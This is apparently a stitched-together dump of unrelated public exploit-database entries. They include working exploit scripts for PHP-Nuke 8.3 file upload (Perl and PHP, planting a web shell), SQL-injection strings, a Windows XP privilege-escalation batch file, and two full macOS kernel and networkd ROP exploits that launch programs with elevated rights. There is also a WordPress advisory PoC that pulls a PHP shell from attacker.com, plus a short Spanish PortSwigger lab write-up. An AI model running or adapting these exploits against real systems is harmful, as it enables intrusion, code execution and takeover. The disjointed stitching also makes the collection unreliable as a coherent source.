username=[SQL INJECTION HERE]&email=test2%40itas.vn&name=test&password=123123&submit=register
- Vulnerable file: articleFR/system/profile.functions.php
- Vulnerable parameter: username
- Query: SELECT id, username, name, password, email, website, blog, date, isactive, activekey, membership FROM users WHERE username ='[Injection HERE]'
- Vulnerable function:
function getProfile($_username, $_connection) {
$_q = "SELECT id, username, name, password, email, website, blog, date, isactive, activekey, membership FROM users WHERE username = '" . $_username . "'";
$_result = single_resulti($_q, $_connection);
$_retval['id'] = $_result['id'];
$_retval['name'] = $_result['name'];
$_retval['username'] = $_result['username'];
$_retval['password'] = $_result['password'];
$_retval['email'] = $_result['email'];
$_retval['website'] = $_result['website'];
$_retval['blog'] = $_result['blog'];
$_retval['date'] = $_result['date'];
$_retval['isactive'] = $_result['isactive'];
$_retval['activekey'] = $_result['activekey'];
$_retval['membership'] = $_result['membership'];
return $_retval;
}
source: https://www.securityfocus.com/bid/48262/info
The Opera Web Browser is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
Opera Web Browser 11.11 is vulnerable; other versions may also be affected.
<html>
<body>
<iframe src='about:blank' id='bo0om' style="width:0px;height:0px;border:0px none;"></iframe>
<script type="text/javascript" language="javascript">
/*
*
* Opera 11.11 Remote Crash
* Software link: http://www.opera.com/download/
* Tested on: Win32 xp home sp 3
* CVE : null
*
* Im too lazy to deep analyze this ,but i thing is just unexploitable crash
* so f****jixvt
* ( dla klechis�awa i jego kosiarki :i )
*
*/
var a = window.document.getElementById('bo0om');
var b = a.contentDocument.createElement('font');
a.src='about:blank';
setTimeout('b.face = "h3h";',500);
</script>
</body>
</html>
source: https://www.securityfocus.com/bid/48259/info
PHP is prone to a security-bypass vulnerability.
Successful exploits will allow an attacker to create arbitrary files from the root directory, which may aid in further attacks.
PHP 5.3.6 is vulnerable; other versions may also be affected.
HTTP Request:
====
POST /file-upload-fuzz/recv_dump.php HTTP/1.0
host: blog.security.localhost
content-type: multipart/form-data; boundary=----------ThIs_Is_tHe_bouNdaRY_$
content-length: 200
------------ThIs_Is_tHe_bouNdaRY_$
Content-Disposition: form-data; name="contents"; filename="/anything.here.slash-will-pass";
Content-Type: text/plain
any
------------ThIs_Is_tHe_bouNdaRY_$--
HTTP Response:
====
HTTP/1.1 200 OK
Date: Fri, 27 May 2011 11:35:08 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Content-Length: 30
Connection: close
Content-Type: text/html
/anything.here.slash-will-pass
PHP script:
=====
<?php
if (!empty($_FILES['contents'])) { // process file upload
echo $_FILES['contents']['name'];
unlink($_FILES['contents']['tmp_name']);
}
source: https://www.securityfocus.com/bid/48257/info
Phpnuke is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.
An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process.
Phpnuke 8.3 is vulnerable; other versions may also be affected.
#!/usr/bin/perl
###################################################
#//Iranian Pentesters Home
#//PHP Nuke 8.3 MT AFU Vulnerability
#//Coded by:4n0nym0us & b3hz4d
#//http://www.pentesters.ir
###################################################
use LWP;
use HTTP::Request::Common;
print "\n" . "///////////////////////////////////" ."\n";
print " Iranian Pentesters Home" . "\n";
print " PHP Nuke 8.3 MT AFU Vulnerability" . "\n";
print "///////////////////////////////////" ."\n";
print "\n" . "Syntax: perl xpl.pl http://your-target.com shell.php.01 [prefix]" . "\n\n";
my $url = $ARGV[0]."/includes/richedit/upload.php";
my $filename = $ARGV[1];
my $prefix = $ARGV[2];
my $rfile = $prefix . $filename . ".gif";
open fhandle, $ARGV[1] or die $!;
while (<fhandle>){
$shell .= $_;
}
close fhandle;
open fhandle, ">", $rfile or die $!;
print fhandle "\x47\x49\x46\x38\x39\x61\x05\x00\x05\x00"."\n".$shell;
close(fhandle);
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026");
my $req = POST $url, Content_Type => 'form-data',
Content => [
upload => "1",
path => 'images',
pwd => "1",
userfile => [ $rfile,$prefix . $filename ]
];
my $res = $ua->request($req);
$between=substr($res->as_string(), index($res->as_string(), '<img src="upload/')+10, index($res->as_string(), 'onclick="self.parent.') - index($res->as_string(), '<img src="upload/')-12);
print("Uploaded File: " . $ARGV[0]."/includes/richedit/".$between);
exit;
source: https://www.securityfocus.com/bid/48257/info
Phpnuke is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.
An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process.
Phpnuke 8.3 is vulnerable; other versions may also be affected.
<?php
///////////////////////////////////////////////////
#Iranian Pentesters Home
#PHP Nuke 8.3 MT AFU Vulnerability
#Coded by:4n0nym0us & b3hz4d
#http://www.pentesters.ir
///////////////////////////////////////////////////
//Settings:
$address = 'http://your-target.com';
$file = 'shell.php.01';
$prefix='pentesters_';
//Exploit:
@$file_data = "\x47\x49\x46\x38\x39\x61\x05\x00\x05\x00";
@$file_data .= file_get_contents($file);
file_put_contents($prefix . $file, $file_data);
$file = $prefix . $file;
echo "\n" . "///////////////////////////////////" ."\n";
echo " Iranian Pentesters Home" . "\n";
echo " PHP Nuke 8.3 MT RFU Vulnerability" . "\n";
echo "///////////////////////////////////" ."\n";
$address_c = $address . '/includes/richedit/upload.php';
$postdata = array("userfile" => "@$file;type=image/gif","upload" => "1","path" => "images","pwd" => "1");
$data = post_data($address_c, $postdata);
$start = strpos($data, "<img src=\"upload");
if ($start != null)
{
$data = substr($data,$start + 10);
$end = strpos($data, "\"");
$data = substr($data,0,$end);
echo "\n" . "Uploaded File: " . $address . "/includes/richedit/" . $data . "\n";
}
else
echo "\n" . "Upload Failed!!!";
function post_data($address, $data)
{
$curl = curl_init($address);
curl_setopt($curl, CURLOPT_USERAGENT, "Opera/9.0 (Windows NT 5.0; U; en)");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
$content = curl_exec($curl);
curl_close($curl);
return $content;
}
?>
source: https://www.securityfocus.com/bid/48233/info
WebFileExplorer is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
WebFileExplorer 3.6 is vulnerable; other versions may also be affected.
Supplying the following input to the username or password field is sufficient to exploit these issues:
user: admin' or '1=1
pass: anything
source: https://www.securityfocus.com/bid/48235/info
Microsoft Lync Server 2010 is prone to a remote command-injection vulnerability because it fails to properly sanitize user-supplied input.
Attackers can exploit this issue to execute arbitrary commands in the context of the application.
Microsoft Lync Server 2010 version 4.0.7577.0 is vulnerable; other versions may also be affected.
https://www.example.com/Reach/Client/WebPages/ReachJoin.aspx?xml=&&reachLocale=en-us%22;var%20xxx=%22http://www.foofus.net/~bede/foofuslogo.jpg%22;open%28xxx%29;alert%28%22error,%20please%20enable%20popups%20from%20this%20server%20and%20reload%20from%20the%20link%20you%20were%20given%22%29//
En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Blind OS command injection with out-of-band interaction”.

Para resolver el laboratorio tenemos que ocasionar una búsqueda DNS al servidor público de Burp Suite (burpcollaborator.net). Para ello, haremos uso de un Blind OS Command Injection que se encuentra en la función de feedback.


Como podemos observar, hay unos cuantos campos a rellenar. Por lo que vamos a rellenarlos:

Ahora, antes de enviar el feedback. Preparamos el burp suite para que reciba las peticiones:


Con esto listo, enviamos el feedback para captar la petición:


Esta es la petición que se envía al servidor cuando se envía feedback. Para tratar con ella, la enviamos al repeater pulsando Ctrl R:

Una vez en el repeater, podemos observar como una petición válida simplemente obtiene una respuesta de estado 200 y no mucho más.
Sin embargo, entre todos los parámetros que se están enviando, vamos a intentar ver si podemos ejecutar un comando en alguno de ellos, y, con ello, realizar una búsqueda DNS al servidor de burp suite:

Al realizar esta petición si actualizamos la web, nos daremos cuenta de que hemos resuelto el reto:

En este caso, sí que es cierto, que lo mejor para realizar los retos estilo «out-of-band» es contar con el Burp Suite PRO para poder hacer uso de la característica de Burp Collaborator client:

De hecho, el siguiente y último reto de OS Command Injection (al menos a fecha de enero de 2021) no se puede resolver si no es que con Burp Suite PRO 😥.
@echo off
REM
REM source: https://www.securityfocus.com/bid/48232/info
REM
REM Microsoft Windows is prone to a local privilege-escalation vulnerability.
REM
REM A local attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges.
REM Successful exploits will result in the complete compromise of affected computers.
REM Failed exploit attempts may cause a denial-of-service condition.
REM
echo [+] Microsoft WinXP sp2/sp3 local system privilege escalation exploit
start time /T > time.txt
tskill explorer
time 13:36:59 > nul
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
echo [*] Backup time
time < time.txt
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
int main(){
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 2, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}else{
printf("got userclient connection: %x\n", conn);
}
mach_vm_address_t addr = 0x414100000000;
mach_vm_size_t size = 0x1000;
err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);
return 0;
}
// clang -o ig_2_3_exploit ig_2_3_exploit.c -framework IOKit -framework CoreFoundation -m32 -D_FORTIFY_SOURCE=0
// ianbeer
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
uint64_t kernel_symbol(char* sym){
char cmd[1024];
strcpy(cmd, "nm -g /mach_kernel | grep ");
strcat(cmd, sym);
strcat(cmd, " | cut -d' ' -f1");
FILE* f = popen(cmd, "r");
char offset_str[17];
fread(offset_str, 16, 1, f);
pclose(f);
offset_str[16] = '\x00';
uint64_t offset = strtoull(offset_str, NULL, 16);
return offset;
}
uint64_t leaked_offset_in_kext(){
FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r");
char offset_str[17];
fread(offset_str, 16, 1, f);
pclose(f);
offset_str[16] = '\x00';
uint64_t offset = strtoull(offset_str, NULL, 16);
offset += 0x10; //offset from symbol to leaked pointer
return offset;
}
uint64_t leak(){
io_iterator_t iter;
CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),
kIOServicePlane,
CFSTR("AAPL,iokit-ndrv"),
kCFAllocatorDefault,
kIORegistryIterateRecursively);
if (CFGetTypeID(p) != CFDataGetTypeID()){
printf("expected CFData\n");
return 1;
}
if (CFDataGetLength(p) != 8){
printf("expected 8 bytes\n");
return 1;
}
uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));
return leaked;
}
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
uint64_t kext_load_addr(char* target_name){
uint64_t addr = 0;
CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
CFIndex count = CFDictionaryGetCount(kd);
void **keys;
void **values;
keys = (void **)malloc(sizeof(void *) * count);
values = (void **)malloc(sizeof(void *) * count);
CFDictionaryGetKeysAndValues(kd,
(const void **)keys,
(const void **)values);
for(CFIndex i = 0; i < count; i++){
const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
if (strcmp(name, target_name) == 0){
CFNumberGetValue(CFDictionaryGetValue(values[i],
CFSTR("OSBundleLoadAddress")),
kCFNumberSInt64Type,
&addr);
printf("%s: 0x%016llx\n", name, addr);
break;
}
}
return addr;
}
uint64_t load_addr(){
uint64_t addr = 0;
CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
CFIndex count = CFDictionaryGetCount(kd);
void **keys;
void **values;
keys = (void **)malloc(sizeof(void *) * count);
values = (void **)malloc(sizeof(void *) * count);
CFDictionaryGetKeysAndValues(kd,
(const void **)keys,
(const void **)values);
for(CFIndex i = 0; i < count; i++){
const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){
CFNumberGetValue(CFDictionaryGetValue(values[i],
CFSTR("OSBundleLoadAddress")),
kCFNumberSInt64Type,
&addr);
printf("%s: 0x%016llx\n", name, addr);
break;
}
}
return addr;
}
uint64_t* build_vtable(uint64_t kaslr_slide, size_t* len){
uint64_t kernel_base = 0xffffff8000200000;
kernel_base += kaslr_slide;
int fd = open("/mach_kernel", O_RDONLY);
if (!fd)
return NULL;
struct stat _stat;
fstat(fd, &_stat);
size_t buf_len = _stat.st_size;
uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0);
if (!buf)
return NULL;
/*
this stack pivot to rax seems to be reliably present across mavericks versions:
push rax
add [rax], eax
add [rbx+0x41], bl
pop rsp
pop r14
pop r15
pop rbp
ret
*/
uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};
uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));
uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);
printf("offset of pivot gadget: %p\n", pivot_gadget_offset);
uint64_t pivot = kernel_base + pivot_gadget_offset;
/*
pop rdi
ret
*/
uint8_t pop_rdi_ret_gadget_bytes[] = {0x5f, 0xc3};
uint8_t* pop_rdi_ret_loc = memmem(buf, buf_len, pop_rdi_ret_gadget_bytes, sizeof(pop_rdi_ret_gadget_bytes));
uint64_t pop_rdi_ret_gadget_offset = (uint64_t)(pop_rdi_ret_loc - buf);
printf("offset of pop_rdi_ret gadget: %p\n", pop_rdi_ret_gadget_offset);
uint64_t pop_rdi_ret = kernel_base + pop_rdi_ret_gadget_offset;
/*
pop rsi
ret
*/
uint8_t pop_rsi_ret_gadget_bytes[] = {0x5e, 0xc3};
uint8_t* pop_rsi_ret_loc = memmem(buf, buf_len, pop_rsi_ret_gadget_bytes, sizeof(pop_rsi_ret_gadget_bytes));
uint64_t pop_rsi_ret_gadget_offset = (uint64_t)(pop_rsi_ret_loc - buf);
printf("offset of pop_rsi_ret gadget: %p\n", pop_rsi_ret_gadget_offset);
uint64_t pop_rsi_ret = kernel_base + pop_rsi_ret_gadget_offset;
/*
pop rdx
ret
*/
uint8_t pop_rdx_ret_gadget_bytes[] = {0x5a, 0xc3};
uint8_t* pop_rdx_ret_loc = memmem(buf, buf_len, pop_rdx_ret_gadget_bytes, sizeof(pop_rdx_ret_gadget_bytes));
uint64_t pop_rdx_ret_gadget_offset = (uint64_t)(pop_rdx_ret_loc - buf);
printf("offset of pop_rdx_ret gadget: %p\n", pop_rdx_ret_gadget_offset);
uint64_t pop_rdx_ret = kernel_base + pop_rdx_ret_gadget_offset;
munmap(buf, buf_len);
close(fd);
/*
in IOAcceleratorFamily2
two locks are held - r12 survives the pivot, this should unlock all the locks from there:
__text:0000000000006F80 lea rsi, unk_32223
__text:0000000000006F87 mov rbx, [r12+118h]
__text:0000000000006F8F mov rax, [rbx]
__text:0000000000006F92 mov rdi, rbx
__text:0000000000006F95 xor edx, edx
__text:0000000000006F97 call qword ptr [rax+858h]
__text:0000000000006F9D mov rdi, rbx ; this
__text:0000000000006FA0 call __ZN22IOGraphicsAccelerator211unlock_busyEv ; IOGraphicsAccelerator2::unlock_busy(void)
__text:0000000000006FA5 mov rdi, [rbx+88h]
__text:0000000000006FAC call _IOLockUnlock
__text:0000000000006FB1
__text:0000000000006FB1 loc_6FB1: ; CODE XREF: IOAccelContext2::clientMemoryForType(uint,uint *,IOMemoryDescriptor **)+650j
__text:0000000000006FB1 xor ecx, ecx
__text:0000000000006FB3 jmp loc_68BC
...
__text:00000000000068BC mov eax, ecx ; jumptable 00000000000067F1 default case
__text:00000000000068BE add rsp, 38h
__text:00000000000068C2 pop rbx
__text:00000000000068C3 pop r12
__text:00000000000068C5 pop r13
__text:00000000000068C7 pop r14
__text:00000000000068C9 pop r15
__text:00000000000068CB pop rbp
__text:00000000000068CC retn
*/
uint64_t unlock_locks = kext_load_addr("com.apple.iokit.IOAcceleratorFamily2") + kaslr_slide + 0x6f80;
printf("0x%016llx\n", unlock_locks);
uint64_t KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide;
uint64_t thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide;
//char* payload = "/Applications/Calculator.app/Contents/MacOS/Calculator";
char* payload = "/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal";
uint64_t rop_stack[] = {
0, //pop r14
0, //pop r15
0, //pop rbp +10
unlock_locks,
pivot, //+20 virtual call is rax+20
0, //+10
0, //+18
0,
0, //+28
0,
0, //+38
0, //pop rbx
0, //pop r12
0, //pop r13
0, //pop r14
0, //pop r15
0, //pop rbp
pop_rdi_ret,
(uint64_t)payload,
pop_rsi_ret,
0,
pop_rdx_ret,
0,
KUNCExecute,
thread_exception_return
};
uint64_t* r = malloc(sizeof(rop_stack));
memcpy(r, rop_stack, sizeof(rop_stack));
*len = sizeof(rop_stack);
return r;
}
void trigger(void* vtable, size_t vtable_len){
//need to overallocate and touch the pages since this will be the stack:
mach_vm_address_t addr = 0x41420000 - 10 * 0x1000;
mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0);
memset(addr, 0, 0x20*0x1000);
memcpy((void*)0x41420000, vtable, vtable_len);
//map NULL page
vm_deallocate(mach_task_self(), 0x0, 0x1000);
addr = 0;
vm_allocate(mach_task_self(), &addr, 0x1000, 0);
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = 'A';
}
volatile uint64_t* zero = 0;
*zero = 0x41420000;
//trigger vuln
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
io_iterator_t iterator;
kern_return_t err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
io_service_t service = IOIteratorNext(iterator);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 2, &conn);
addr = 0x12345000;
mach_vm_size_t size = 0x1000;
err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);
}
int main() {
uint64_t leaked_ptr = leak();
uint64_t kext_load_addr = load_addr();
// get the offset of that pointer in the kext:
uint64_t offset = leaked_offset_in_kext();
// sanity check the leaked address against the symbol addr:
if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){
printf("the leaked pointer doesn't match up with the expected symbol offset\n");
return 1;
}
uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr;
printf("kaslr slide: %p\n", kaslr_slide);
size_t vtable_len = 0;
void* vtable = build_vtable(kaslr_slide, &vtable_len);
trigger(vtable, vtable_len);
return 0;
}
// Requires Lorgnette: https://github.com/rodionovd/liblorgnette
// clang -o networkd_exploit networkd_exploit.c liblorgnette/lorgnette.c -framework CoreFoundation
// ianbeer
#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <xpc/xpc.h>
#include <CoreFoundation/CoreFoundation.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
#include <mach-o/dyld_images.h>
#include "liblorgnette/lorgnette.h"
/* find the base address of CoreFoundation for the ROP gadgets */
void* find_library_load_address(const char* library_name){
kern_return_t err;
// get the list of all loaded modules from dyld
// the task_info mach API will get the address of the dyld all_image_info struct for the given task
// from which we can get the names and load addresses of all modules
task_dyld_info_data_t task_dyld_info;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
const struct dyld_image_info* image_infos = all_image_infos->infoArray;
for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){
const char* image_name = image_infos[i].imageFilePath;
mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
if (strstr(image_name, library_name)){
return (void*)image_load_address;
}
}
return NULL;
}
struct heap_spray {
void* fake_objc_class_ptr; // -------+
uint8_t pad0[0x10]; // |
uint64_t first_gadget; // |
uint8_t pad1[0x8]; // |
uint64_t null0; // |
uint64_t pad3; // |
uint64_t pop_rdi_rbp_ret; // |
uint64_t rdi; // |
uint64_t rbp; // |
uint64_t system; // |
struct fake_objc_class_t { // |
char pad[0x10]; // <----------+
void* cache_buckets_ptr; //--------+
uint64_t cache_bucket_mask; // |
} fake_objc_class; // |
struct fake_cache_bucket_t { // |
void* cached_sel; // <--------+ //point to the right selector
void* cached_function; // will be RIP :)
} fake_cache_bucket;
char command[256];
};
xpc_connection_t connect(){
xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
xpc_type_t t = xpc_get_type(event);
if (t == XPC_TYPE_ERROR){
printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
printf("received an event\n");
});
xpc_connection_resume(conn);
return conn;
}
void go(){
void* heap_spray_target_addr = (void*)0x120202000;
struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
memset(hs, 'C', 0x1000);
hs->null0 = 0;
hs->fake_objc_class_ptr = &hs->fake_objc_class;
hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
hs->fake_objc_class.cache_bucket_mask = 0;
// nasty hack to find the correct selector address :)
uint8_t* ptr = (uint8_t*)lorgnette_lookup(mach_task_self(), "_dispatch_objc_release");
uint64_t* msgrefs = ptr + 0x1a + (*(int32_t*)(ptr+0x16)); //offset of rip-relative offset of selector
uint64_t sel = msgrefs[1];
printf("%p\n", sel);
hs->fake_cache_bucket.cached_sel = sel;
uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
// pivot:
/*
push rax
add eax, [rax]
add [rbx+0x41], bl
pop rsp
pop r14
pop r15
pop rbp
ret
*/
hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x46ef0; //0x414142424343; // ROP from here
// jump over the NULL then so there's more space:
//pop, pop, pop, ret: //and keep stack correctly aligned
hs->first_gadget = CoreFoundation_base + 0x46ef7;
hs->pop_rdi_rbp_ret = CoreFoundation_base + 0x2226;
hs->system = dlsym(RTLD_DEFAULT, "system");
hs->rdi = &hs->command;
strcpy(hs->command, "touch /tmp/hello_networkd");
size_t heap_spray_pages = 0x40000;
size_t heap_spray_bytes = heap_spray_pages * 0x1000;
char* heap_spray_copies = malloc(heap_spray_bytes);
for (int i = 0; i < heap_spray_pages; i++){
memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
}
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_data(msg, "heap_spray", heap_spray_copies, heap_spray_bytes);
xpc_dictionary_set_uint64(msg, "type", 6);
xpc_dictionary_set_uint64(msg, "connection_id", 1);
xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
xpc_object_t conn_list = xpc_array_create(NULL, 0);
xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(arr_dict, "hostname", "example.com");
xpc_array_append_value(conn_list, arr_dict);
xpc_dictionary_set_value(params, "connection_entry_list", conn_list);
char* long_key = malloc(1024);
memset(long_key, 'A', 1023);
long_key[1023] = '\x00';
xpc_dictionary_set_string(params, long_key, "something or other that's not important");
uint64_t uuid[] = {0, 0x120200000};
xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);
xpc_dictionary_set_uint64(params, "start", 0);
xpc_dictionary_set_uint64(params, "duration", 0);
xpc_dictionary_set_value(msg, "parameters", params);
xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(state, "power_slot", 0);
xpc_dictionary_set_value(msg, "state", state);
xpc_object_t conn = connect();
printf("connected\n");
xpc_connection_send_message(conn, msg);
printf("enqueued message\n");
xpc_connection_send_barrier(conn, ^{printf("other side has enqueued this message\n");});
xpc_release(msg);
}
int main(){
go();
printf("entering CFRunLoop\n");
for(;;){
CFRunLoopRunInMode(kCFRunLoopDefaultMode, DBL_MAX, TRUE);
}
return 0;
}
Mogwai Security Advisory MSA-2015-01
----------------------------------------------------------------------
Title: WP Pixarbay Images Multiple Vulnerabilities
Product: Pixarbay Images (Wordpress Plugin)
Affected versions: 2.3
Impact: high
Remote: yes
Product link: https://wordpress.org/plugins/pixabay-images/
Reported: 14/01/2015
by: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench)
Vendor's Description of the Software:
----------------------------------------------------------------------
Pixabay Images is a WordPress plugin that let's you pick CC0 public
domain pictures from Pixabay and insert them with just a click anywhere
on your blog. The images are safe to use, and paying attribution or
linking back to the source is not required.
Business recommendation:
----------------------------------------------------------------------
Update to version 2.4
Vulnerability description:
----------------------------------------------------------------------
1) Authentication bypass
The plugin does not correctly check if the user is logged in. Certain
code can be called without authentication
2) Arbitrary file upload
The plugin code does not validate the host in the provided download URL,
which allows to upload malicious files, including PHP code.
3) Path Traversal
Certain values are not sanitized before they are used in a file operation.
This allows to store files outside of the "download" folder.
4) Cross Site Scripting (XSS)
The generated author link uses unsanitized user values which can be
abused for Cross Site Scripting (XSS) attacks.
Proof of concept:
----------------------------------------------------------------------
The following PoC Python script can be used to download PHP files from
a attacker controlled host.
#!/usr/bin/env python
import argparse
import httplib, urllib
from urlparse import urlparse
def exploit(target_url, shellcode_url):
target = urlparse(target_url)
params = urllib.urlencode({'pixabay_upload': 1, 'image_url': shellcode_url,
'image_user': 'none', 'q':'xxx/../../../../../../mogwai'})
headers = headers = {"Content-type": "application/x-www-form-urlencoded"}
print "[+] Sending download request...."
conn = httplib.HTTPConnection(target.netloc)
conn.request("POST", target.path + "/wp-admin/", params, headers)
response = conn.getresponse()
response_data = response.read()
if response.status != 200 and response_data != "Error: File attachment metadata
error":
print "[-] Something went wrong"
print response_data
exit()
conn.close()
# ---- Main code ----------------
parser = argparse.ArgumentParser()
parser.add_argument("target_url", help="The target url, for example
http://foo.bar/blog/")
parser.add_argument("shellcode_url", help="The url of the PHP file that should
be uploaded, for example: http://attacker.com/shell.php")
print "----------------------------------------------"
print " pixabay upload wordpress plugin exploit PoC"
print " Mogwai security"
print "----------------------------------------------"
arguments = parser.parse_args()
exploit(arguments.target_url, arguments.shellcode_url)
Vulnerable / tested versions:
----------------------------------------------------------------------
Pixabay Images 2.3
Disclosure timeline:
----------------------------------------------------------------------
14/01/2014: Reporting issues to the plugin author
15/01/2014: Release of fixed version (2.4)
19/01/2014: Public advisory
Advisory URL:
----------------------------------------------------------------------
https://www.mogwaisecurity.de/#lab
----------------------------------------------------------------------
Mogwai, IT-Sicherheitsberatung Muench
Steinhoevelstrasse 2/2
89075 Ulm (Germany)
info@mogwaisecurity.de